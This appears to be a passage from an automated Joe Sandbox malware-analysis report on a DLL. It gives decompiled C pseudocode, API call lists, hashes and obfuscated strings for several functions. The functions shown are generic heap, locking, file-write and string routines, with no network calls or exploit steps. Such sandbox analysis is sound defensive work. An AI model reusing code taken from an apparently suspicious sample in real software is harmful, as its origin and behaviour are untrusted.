                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: CloseDestroyEventHandleHeapSleep
                  • String ID:
                  • API String ID: 4109453060-0
                  • Opcode ID: 88fcabd9a293cb55bf488d64cb92a2562a568935d5a38fa5a0bd3b2da8b8f30c
                  • Instruction ID: 416255f28270ddb30c9242f50750748205504fe9d86a64abe3a713cf9b62ad2a
                  • Opcode Fuzzy Hash: 88fcabd9a293cb55bf488d64cb92a2562a568935d5a38fa5a0bd3b2da8b8f30c
                  • Instruction Fuzzy Hash: 8DF01C75E817B197DB105A379D88B5237E8AF886A5B044F90BC05F3282DB34D5D095A4
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C55364 Relevance: 6.0, APIs: 4, Instructions: 29sleepmemoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 50%
                  			E02C55364(void** __esi) {
				intOrPtr _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t10;
				void* _t11;
				void** _t13;

				_t13 = __esi;
				_t4 =  *0x2c5a3cc; // 0x3ad9600
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x2c5a3cc; // 0x3ad9600
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t13;
				if(_t8 != 0 && _t8 != 0x2c5a030) {
					HeapFree( *0x2c5a2d8, 0, _t8);
				}
				_t13[1] = E02C512C6(_v0, _t13);
				_t10 =  *0x2c5a3cc; // 0x3ad9600
				_t11 = _t10 + 0x40;
				__imp__(_t11);
				return _t11;
			}










                  0x02c55364
                  0x02c55364
                  0x02c5536d
                  0x02c5537d
                  0x02c5537d
                  0x02c55382
                  0x02c55387
                  0x00000000
                  0x00000000
                  0x02c55377
                  0x02c55377
                  0x02c55389
                  0x02c5538d
                  0x02c5539f
                  0x02c5539f
                  0x02c553af
                  0x02c553b2
                  0x02c553b7
                  0x02c553bb
                  0x02c553c1

                  APIs
                  • RtlEnterCriticalSection.NTDLL(03AD95C0), ref: 02C5536D
                  • Sleep.KERNEL32(0000000A), ref: 02C55377
                  • HeapFree.KERNEL32(00000000,00000000), ref: 02C5539F
                  • RtlLeaveCriticalSection.NTDLL(03AD95C0), ref: 02C553BB
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                  • String ID:
                  • API String ID: 58946197-0
                  • Opcode ID: 1d86a7fe2cd1cb714764e05e7767ce43adee5728a3e8d38f2f271afd7dee5ad9
                  • Instruction ID: e46a7927dca3712e7197c96ef91665cdfa33938fb4fe2a759ca61db6e071a72b
                  • Opcode Fuzzy Hash: 1d86a7fe2cd1cb714764e05e7767ce43adee5728a3e8d38f2f271afd7dee5ad9
                  • Instruction Fuzzy Hash: 22F0D070A80361EFDB109B65DC48B163BA49F94384B044E44F90DE6261D770D9E0DB59
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB67AC6 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,6CB66A76,?,00000001,?,?,?,6CB65EDA,?,?,00000000), ref: 6CB67ADD
                  • GetLastError.KERNEL32(?,6CB66A76,?,00000001,?,?,?,6CB65EDA,?,?,00000000,?,?,?,6CB66461,?), ref: 6CB67AE9
                    • Part of subcall function 6CB67AAF: CloseHandle.KERNEL32(FFFFFFFE,6CB67AF9,?,6CB66A76,?,00000001,?,?,?,6CB65EDA,?,?,00000000,?,?), ref: 6CB67ABF
                  • ___initconout.LIBCMT ref: 6CB67AF9
                    • Part of subcall function 6CB67A71: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6CB67AA0,6CB66A63,?,?,6CB65EDA,?,?,00000000,?), ref: 6CB67A84
                  • WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,6CB66A76,?,00000001,?,?,?,6CB65EDA,?,?,00000000,?), ref: 6CB67B0E
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
                  • String ID:
                  • API String ID: 2744216297-0
                  • Opcode ID: 1a7dfb61b55faab3a91bbfa3bba13a9c521fc893978e58bf10407af5bebdc0b0
                  • Instruction ID: e85c5f1fcc4c179089a336f49f17c9627c2d707067303de883f37165de26e81b
                  • Opcode Fuzzy Hash: 1a7dfb61b55faab3a91bbfa3bba13a9c521fc893978e58bf10407af5bebdc0b0
                  • Instruction Fuzzy Hash: 39F01236241164BBCF121FD3CC08A993F35FB4A3A4F084410F91896610D771C924DF91
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C5607C Relevance: 6.0, APIs: 4, Instructions: 28sleepmemoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 37%
                  			E02C5607C() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x2c5a3cc; // 0x3ad9600
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x2c5a3cc; // 0x3ad9600
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x2c5a3cc; // 0x3ad9600
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x2c5b142) {
					HeapFree( *0x2c5a2d8, 0, _t10);
					_t7 =  *0x2c5a3cc; // 0x3ad9600
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}









                  0x02c5607c
                  0x02c56085
                  0x02c56095
                  0x02c56095
                  0x02c5609a
                  0x02c5609f
                  0x00000000
                  0x00000000
                  0x02c5608f
                  0x02c5608f
                  0x02c560a1
                  0x02c560a6
                  0x02c560aa
                  0x02c560bd
                  0x02c560c3
                  0x02c560c3
                  0x02c560cc
                  0x02c560ce
                  0x02c560d2
                  0x02c560d8

                  APIs
                  • RtlEnterCriticalSection.NTDLL(03AD95C0), ref: 02C56085
                  • Sleep.KERNEL32(0000000A), ref: 02C5608F
                  • HeapFree.KERNEL32(00000000), ref: 02C560BD
                  • RtlLeaveCriticalSection.NTDLL(03AD95C0), ref: 02C560D2
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                  • String ID:
                  • API String ID: 58946197-0
                  • Opcode ID: 655ddab9ff0c7ba0455b0b35d145a6611bd6ec3d110fb2ac896813cef425192c
                  • Instruction ID: 28be144e0e5ea7f2cb71011e153a7758865e571dfd50fcdbe80bc4bb3f0f3065
                  • Opcode Fuzzy Hash: 655ddab9ff0c7ba0455b0b35d145a6611bd6ec3d110fb2ac896813cef425192c
                  • Instruction Fuzzy Hash: 40F03A74A80321EBE7148F56DC59B157BB4AFD8308B144B44E806E73A0C730E8E0CA98
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB45000 Relevance: 6.0, APIs: 4, Instructions: 18COMMON
                  Download Yara Rule
                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task
                  • String ID:
                  • API String ID: 1384045349-0
                  • Opcode ID: 8b642ad15c0644ec34c8f4ec001fc9bba4369965f8253247531447a88ecdb767
                  • Instruction ID: 1ecbdff168204ff987583cef0374dff0df97e827e124f59e88ff93ded13bd1ec
                  • Opcode Fuzzy Hash: 8b642ad15c0644ec34c8f4ec001fc9bba4369965f8253247531447a88ecdb767
                  • Instruction Fuzzy Hash: A1D01734A28048EB8B08DBD8D965AAEB3769F90208B90409CD40697B45CF302F15F69A
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB62E8C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 177COMMON
                  Download Yara Rule
                  APIs
                    • Part of subcall function 6CB629BC: GetOEMCP.KERNEL32(00000000,?,?,?,6CB63A9C), ref: 6CB629E7
                  • IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,6CB62CD3,?,00000000,?,?,6CB63A9C), ref: 6CB62EED
                  • GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,6CB62CD3,?,00000000,?,?,6CB63A9C), ref: 6CB62F2F
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: CodeInfoPageValid
                  • String ID: RCi
                  • API String ID: 546120528-2875014802
                  • Opcode ID: 6105027699069a6f53b103500412f07003a184320552b7becfee782dbd34353c
                  • Instruction ID: b7dd1b68e8a72544437153547e97af3e13a12e1e3b336db4d63817ac8abf0990
                  • Opcode Fuzzy Hash: 6105027699069a6f53b103500412f07003a184320552b7becfee782dbd34353c
                  • Instruction Fuzzy Hash: FE513371A016859EEB11CF77C4846EABBF8FF85308F18412ED0A287E41E7749549CB52
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB46102 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 117COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task
                  • String ID: OvuFWqhcmBZM
                  • API String ID: 1384045349-1342119270
                  • Opcode ID: 8aed08b13258a4e183303f23c66d07b3b142242ff12f12238f92d147ad738add
                  • Instruction ID: 3da82ef20e60ec22d38d5b24beaaa9d512e45118b9f0143ed8b049a689ed93aa
                  • Opcode Fuzzy Hash: 8aed08b13258a4e183303f23c66d07b3b142242ff12f12238f92d147ad738add
                  • Instruction Fuzzy Hash: 68515AB1D152589BCB24CBA4CC90FEEB778BF45304F0481D9D209A7685EB306E88DF54
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB5DC3A Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 6CB5DC5F
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: EncodePointer
                  • String ID: MOC$RCC
                  • API String ID: 2118026453-2084237596
                  • Opcode ID: c5fb6c4e0779fbe10758c36d56e0a2e351303e730b3757b863e6d2259ccca83c
                  • Instruction ID: 06675288c1513a4ee1c7d4caf691894e557d3abeaec569ca8d156ad52d4ec579
                  • Opcode Fuzzy Hash: c5fb6c4e0779fbe10758c36d56e0a2e351303e730b3757b863e6d2259ccca83c
                  • Instruction Fuzzy Hash: D341CF31900149AFCF01CFA4EE80AEE7BB5FF08308F544298F904A7661D3359961DF52
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB66159 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104fileCOMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • WriteFile.KERNEL32(?,?,00000000,?,00000000,6CB664D0,?,?,?,00000000,?,?,?,00000000,?,?), ref: 6CB66242
                  • GetLastError.KERNEL32(6CB664D0,?,?,?,00000000,?,?,?,00000000,?,?,00000000,?,?,6CB63C0D,?), ref: 6CB66272
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: ErrorFileLastWrite
                  • String ID: RCi
                  • API String ID: 442123175-2875014802
                  • Opcode ID: 4d8a88aade071574d98969bda19d89a1e6edb7131c71ce04604a4d6963b409e8
                  • Instruction ID: 827eb0cac5e803f02a80b8b30fa42eab1dc3a466c30162fef6d043d8cf0750b0
                  • Opcode Fuzzy Hash: 4d8a88aade071574d98969bda19d89a1e6edb7131c71ce04604a4d6963b409e8
                  • Instruction Fuzzy Hash: B031AF71B00259AFDB18CF6ACC91BEA77B5EB48304F1440A9E505E7A90D730ED84CF61
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB66070 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82fileCOMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,6CB664BB,?,?,?,00000000,?,?), ref: 6CB6611A
                  • GetLastError.KERNEL32(?,6CB664BB,?,?,?,00000000,?,?,?,00000000,?,?,00000000,?,?,6CB63C0D), ref: 6CB66140
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: ErrorFileLastWrite
                  • String ID: RCi
                  • API String ID: 442123175-2875014802
                  • Opcode ID: 3c87311a082af8e89a6f35531e8bf231e86b7c1a1a62e8852089d2e990bfe627
                  • Instruction ID: c9a0b18546ca7759a0f736544f1f1128514a4b4dd5df4954e74e64b5d50fd00a
                  • Opcode Fuzzy Hash: 3c87311a082af8e89a6f35531e8bf231e86b7c1a1a62e8852089d2e990bfe627
                  • Instruction Fuzzy Hash: 67218071A012689BCF14CF1ACC809DEB3B9FF49315B1445AAE90AE7691D730ED85CBA1
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB65F95 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80fileCOMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,6CB664E2,?,?,?,00000000,?,?), ref: 6CB66031
                  • GetLastError.KERNEL32(?,6CB664E2,?,?,?,00000000,?,?,?,00000000,?,?,00000000,?,?,6CB63C0D), ref: 6CB66057
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: ErrorFileLastWrite
                  • String ID: RCi
                  • API String ID: 442123175-2875014802
                  • Opcode ID: 12a2c560ba09fded761c7ea9eb47b0fd737118a4f46d08faee9a05f942799dbd
                  • Instruction ID: 870bde6c49dbef6f06f8f8a5c2f716c1f8f1b19c753a374a2e2030adc6416771
                  • Opcode Fuzzy Hash: 12a2c560ba09fded761c7ea9eb47b0fd737118a4f46d08faee9a05f942799dbd
                  • Instruction Fuzzy Hash: 2821B170A002589BCF15CF2ACD809D9B7BAEB49305F1440A9E94AD7A51D730ED46CF61
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB5B34F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • IsProcessorFeaturePresent.KERNEL32(00000017), ref: 6CB5B390
                  • ___raise_securityfailure.LIBCMT ref: 6CB5B478
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: FeaturePresentProcessor___raise_securityfailure
                  • String ID: RCi
                  • API String ID: 3761405300-2875014802
                  • Opcode ID: 212b9650420d8e42128b09912e0994e47d9005b094dbf7c5471af4a2cd60caf5
                  • Instruction ID: bae2358bb0e9a78be7860f0b59b68acb5d3a9bc3b97f839ff5a251af7804c3e9
                  • Opcode Fuzzy Hash: 212b9650420d8e42128b09912e0994e47d9005b094dbf7c5471af4a2cd60caf5
                  • Instruction Fuzzy Hash: AB21C2B4A82304DEEF14EF65D68DA453BF4FB4B714F60512AEA098B790E3B09485CF06
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB455E6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task
                  • String ID: BFSxlc
                  • API String ID: 1384045349-3125291712
                  • Opcode ID: a9b75f9ffa73b57f962e239290fd8ab1b9e137f64c5fc65d9e80b3a8ae086769
                  • Instruction ID: fb87ca7ecca52d4c19198d7367af587f39930b3ae2c94727a45734be10f3614d
                  • Opcode Fuzzy Hash: a9b75f9ffa73b57f962e239290fd8ab1b9e137f64c5fc65d9e80b3a8ae086769
                  • Instruction Fuzzy Hash: A12158749092A8CBCF15CBA4CC60BEEB7B5AF08304F0481E9C109A3744DB345E88EF66
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB45703 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  • StELwKyogrHwiitXtczXJeXYd, xrefs: 6CB4571F
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task
                  • String ID: StELwKyogrHwiitXtczXJeXYd
                  • API String ID: 1384045349-3996617511
                  • Opcode ID: b5e040b96aee1bdd8de337ced9be70bd4171dbe65c24a1f5f3f2af766c1cc46b
                  • Instruction ID: 57bbcb6a7f8d29cb8aa23787193183e830d8e9b2a3d346c600e0a45ac4e5ba05
                  • Opcode Fuzzy Hash: b5e040b96aee1bdd8de337ced9be70bd4171dbe65c24a1f5f3f2af766c1cc46b
                  • Instruction Fuzzy Hash: 3F213B75D0A1988BDB25CBA4C850BEEB7B5AF19304F1481D9C14AB3744DB301F88DF65
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB584D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  • lOTfVeILEfhYsmZqEjtsxncTukIC, xrefs: 6CB5857A
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task
                  • String ID: lOTfVeILEfhYsmZqEjtsxncTukIC
                  • API String ID: 1384045349-1620154734
                  • Opcode ID: 13504c9ce7c3b51fe92ae57426db52e68288cb7a0519652635e4c21c96025c60
                  • Instruction ID: 9f868f76b0453059193420c4eb39f03921fd63623b89231dcb2090842a18616d
                  • Opcode Fuzzy Hash: 13504c9ce7c3b51fe92ae57426db52e68288cb7a0519652635e4c21c96025c60
                  • Instruction Fuzzy Hash: 79216AB1D152A88FCF29CFA4CCA0AEEB778AF18204F0481D9D11A63755EB301B88DF51
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C52058 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 58%
                  			E02C52058(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E02C533DC(_t2);
				if(_t34 != 0) {
					_t30 = E02C533DC(_t28);
					if(_t30 == 0) {
						E02C561DA(_t34);
					} else {
						_t39 = _a4;
						_t22 = E02C57AE9(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E02C57AE9(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}














                  0x02c52058
                  0x02c52062
                  0x02c52064
                  0x02c5206a
                  0x02c5206a
